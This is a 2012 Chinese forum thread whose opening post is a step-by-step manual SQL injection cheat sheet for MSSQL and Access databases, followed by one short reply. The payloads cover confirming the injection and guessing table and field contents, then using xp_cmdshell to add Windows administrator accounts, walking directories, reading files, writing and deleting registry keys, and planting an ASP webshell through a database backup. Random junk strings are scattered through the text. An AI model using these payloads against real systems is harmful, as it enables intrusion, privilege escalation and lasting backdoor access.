找回密码
 立即注册
查看: 3169|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
手工脚本注入 - N# g! B- r3 }! e
1.判断是否有注入;and 1=1 ;and 1=2 6 f6 b* N; L+ [$ Y3 i$ c9 _% |
" G/ W7 S# G( _
2.初步判断是否是mssql ;and user>0 5 l: T- e& W4 Q9 J

' ~1 @- ~4 X4 n7 k, L: d! w9 `3 u3.注入参数是字符'and [查询条件] and ''='
5 J5 L" l% S: v8 c+ P( Z8 D
8 u  u4 d- x8 H2 P2 j4.搜索时没过滤参数的'and [查询条件] and '%25'='
2 J5 I: ]) t" n' V# `+ N. [" h/ x1 J$ ^
* D0 g7 X  }' b) s5 m. `5.判断数据库系统
4 f% N. s7 F9 _! ]- D. P;and (select count(*) from sysobjects)>0 mssql ' D* i1 J& j) F9 F9 `; S$ B
;and (select count(*) from msysobjects)>0 access ( [5 d0 f$ G' O0 @9 Q
) V- K3 T' P' k& v; t5 K
6.猜数据库 ;and (select Count(*) from [数据库名])>0 2 F  T5 J% W' _5 m6 {4 y7 V

9 R. m6 s; d: X7.猜字段 ;and (select Count(字段名) from 数据库名)>0
/ M, V  n1 M0 S1 i- H2 I# G
# g* l+ h/ |& W& e8 _9 P8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
0 W' @' T* x( R: d# P' L
9 t! [2 t+ a3 {- X( k7 l0 I) _9.(1)猜字段的ascii值(access) $ X6 j9 w0 m7 l' y1 G
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 3 t, L* T; ]# L  |, [5 J
# K5 P) s5 j# O! O/ D
(2)猜字段的ascii值(mssql)
7 Z' t/ u& e% W- ~& s. t;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
/ \9 L2 B2 a1 Z' }- b
  i8 y/ k1 [& j6 y10.测试权限结构(mssql) 1 @* J4 y3 `" ]4 Y9 Y
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
! w7 a0 q8 Y$ r9 y;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 8 F4 \2 N! `$ ?/ H+ _
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
+ i2 b( X$ f4 \% B;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
. G1 j% m2 o' }( ~6 s+ x;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
6 H5 M- t" `4 G7 p$ i;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
9 ^7 ^) U3 Z4 N% {7 A6 };and 1=(select IS_MEMBER('db_owner'));--
" y! H; s/ E* `6 n) S% s0 H  n' O, C3 q6 O
11.添加mssql和系统的帐户
, [8 o+ _, ]: c5 ^" X; w;exec master.dbo.sp_addlogin username;-- 6 Z( d3 N3 T4 A6 B8 ?
$ B5 X1 h' F8 s( V& D' w' y
;exec master.dbo.sp_password null,username,password;--
/ B3 M( N. i, J9 a1 C% E
( }; I# c. ]7 A+ \0 H;exec master.dbo.sp_addsrvrolemember sysadmin username;--
$ k4 l  t6 |) Y, y. A# r6 A8 ^+ B7 {
1 O; m+ q7 d1 C2 h' e' J;exec master.dbo.xp_cmdshell 'net user username password
1 I7 Z) M2 Z1 K1 O# e$ t; [- Z/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
/ C- g7 V  Y! j8 C9 M3 l% y' n0 {# H' S0 Z
;exec master.dbo.xp_cmdshell 'net user username password /add';--
6 F( Z! }, o6 K8 T* w0 u
+ ?  N! o1 m" V, r/ M( F/ ?+ n;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ' C5 k4 C3 }4 N6 I% x

9 j. D0 ?# Q+ _9 {1 C3 |12.(1)遍历目录
# L* i% ]9 }; A
. L" u9 a" ~) Y( X+ |;create table dirs(paths varchar(100), id int)
  B: L  T# Z; g) X! `# g9 t. @;insert dirs exec master.dbo.xp_dirtree 'c:\' * S9 o4 \; X5 }
;and (select top 1 paths from dirs)>0 9 I) z: u! s! p2 J
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) - o; c2 j2 i' E6 u8 c% F  w9 p
0 P/ S% N4 o! V6 q2 l/ K2 u8 `
(2)遍历目录
; V/ i9 ?6 D9 ]# E; |* f0 \;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
5 j0 p" E0 U; e, d, F1 y;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
9 Y8 f( a% M- K;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
% Y( S+ e- g% v;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 / J/ d4 o/ J! u, C7 c' `: @
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
5 u* ^! A" q3 g+ y) H4 h8 q) P  N) B
13.mssql中的存储过程
0 s$ P/ g" F7 w* F7 @
  G2 G/ X6 v! \* yxp_regenumvalues 注册表根键, 子键 ' E* k. ^) _3 x  f/ d
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 , v. L7 N& W; p

8 C4 R/ s9 M& k6 E6 ?1 ]  z9 \* v8 }xp_regread 根键,子键,键值名 . ^* Y! e, L6 O9 |
;exec xp_regread
0 k' |5 q) \4 i% K& k, }5 D- V* r'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
& }$ c  t, H% X7 i
  d1 ^; X- o. P+ \' S9 ^4 C2 X! ~% Xxp_regwrite 根键,子键, 值名, 值类型, 值 : R+ _: N/ j6 M+ @1 j! p1 s
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
* Q) k$ N- h4 k! F5 a& X) };exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ' h- l. E" C/ D4 X/ z9 r
' s1 |* x, \* }
xp_regdeletevalue 根键,子键,值名
1 I( H( `( N% B# D5 J; Y. p0 X) L& v7 e4 }" |8 E# p
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ' ]  U" h4 b5 @) }" R3 ^" P

9 S  [9 c; x; s$ xxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 " i; ^6 B! n' j5 @
6 L' e6 ]) k4 w6 j
14.mssql的backup创建webshell " S  g+ c% B/ i( z7 W+ a/ D
use model ( u8 v; _' H$ i* S: c
create table cmd(str image);
; L2 J4 `+ H9 ~0 t8 m" M' pinsert into cmd(str) values (''); ! I- o; v  z  T4 x' v5 I" ?
backup database model to disk='c:\l.asp';
  ?, \$ u* l% q( Y) C' F2 [" V7 e1 t7 ~* j( t" s
15.mssql内置函数 4 ~. e; x8 O8 b9 F/ g
;and (select @@version)>0 获得Windows的版本号 # E8 e' `# T5 ]
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
% l5 a8 D! R6 `& D$ H8 e! V5 S# S9 J;and (select user_name())>0 爆当前系统的连接用户
2 J1 \6 {2 a" d9 w' `; a5 F;and (select db_name())>0 得到当前连接的数据库   u- n1 [. S% Q; D/ [
' `% `* H9 T' D2 `5 r2 X& O
16.简洁的webshell
. w2 [1 M' K+ x. m
* c) b8 P: J2 P. {use model , y! F" R3 R  p% ^$ h2 D  S

+ `0 j+ R" c0 k$ rcreate table cmd(str image);
6 U' A( t3 j7 f( l8 F* l/ r4 b# s1 q7 z* _7 C  z  ?7 y% J
insert into cmd(str) values (''); # |' X. L1 _9 A7 A/ |# R* O

: W; q6 E( @( L8 [+ {backup database model to disk='g:\wwwtest\l.asp'; 6 C+ p8 P' K, x' f* R  ]; w. c
9 k  f; h: z2 S- c2 v3 v3 `3 F( m
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表